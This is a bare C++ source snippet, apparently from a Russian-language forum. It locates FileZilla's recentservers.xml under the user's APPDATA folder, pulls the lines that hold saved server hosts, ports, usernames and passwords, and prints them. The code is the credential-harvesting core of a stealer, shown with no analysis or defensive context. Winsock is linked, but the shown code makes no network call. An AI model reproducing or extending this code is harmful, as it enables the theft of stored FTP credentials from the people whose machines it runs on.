Код:
Код:
#include <cstdlib>
#include<fstream>
#pragma comment(lib, "Ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <string>
#include <sstream>
#include <time.h>
#define recvBuffSize 205000
using namespace std;
const char *appdata = std::getenv ( "APPDATA" );
string zilla;
void filezilla()
{
string data[100];
int i =0;
string line;
std::string path = appdata;
path += "\\FileZilla\\recentservers.xml";
std::ifstream myfile ( path.c_str() );
if (myfile.is_open())
{
while ( myfile.good() )
{
getline (myfile,line);
data[i] = line;
i++;
}
myfile.close();
}
zilla = data[4] + data[5] + data[8] + data[9];
}
int main (){
filezilla();
system("pause");
cout << "\n" + zilla;
system("pause");
return 1;
}